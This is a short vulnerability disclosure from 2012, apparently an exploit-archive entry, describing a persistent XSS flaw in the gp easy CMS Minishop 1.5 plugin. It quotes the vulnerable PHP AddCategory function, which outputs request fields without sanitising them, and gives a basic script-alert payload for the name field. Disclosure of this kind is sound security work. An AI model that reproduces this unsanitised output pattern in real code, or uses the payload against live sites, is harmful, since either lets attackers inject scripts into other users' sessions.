gp easy CMS Minishop 1.5 Plugin Persistent XSS

# Exploit Title: gp easy CMS Minishop 1.5 plugin persistent XSS
# Date: july 2 2012
# Exploit Author: Carlos Mario Penahos Hollmann
# Vendor Homepage:http://gpeasy.com/Download
# Software Link: http://gpeasy.com/Special_Addon_Plugins?cmd=download&id=31
# Version: 1.5

The vulnerable code is in the Minishop 1.5 plugin on the Admin_Minishop.php
, after installing it give to any user right to edit the minishop, then
this user can inject arbitrary javascript code when  using add product or
add category(both options can trigger the XSS) in the name field typing
<script>alert('XSS');</script>

As you can see data is not sanitize :)
function AddCategory()
    {
        require('Language.php');
        echo '<b>' . $Mtxt['Add Category'] .'</b><br>';
        $ca = & $_REQUEST['cat'];
        $cat = $this->my_replace($ca, "no");
        $catdes = & $_REQUEST['catdesc'];
        $catdesc= $this->my_replace($catdes, "yes");
        $Category = $this->GetCategories();

        if (empty($cat) )
        {
            echo '<table class="bordered"><br>';
            echo '<th>Category</th><th>Description</th>';
            echo '<form action="Admin_Minishop?cmd=addcat"><br>' ;
            echo '<tr><td><input type="text" name="cat" size="10" value="'
. $cat . '"></td>';
            echo '<td><input type="text" name="catdesc" size="30" value="'
. $catdesc . '"></td></tr>';
            echo '<input type="hidden" name="cmd" value="addcat"><br>';
            echo '</table><br>';
            echo '<input type="submit" value="' . $Mtxt['Add Category'] .
'">';

        }
        else
        {
            $Category[$cat] = $catdesc;//echo 'Debug:' .
var_dump($Category) .':';
            $this->SaveCategories($Category);
        }
    }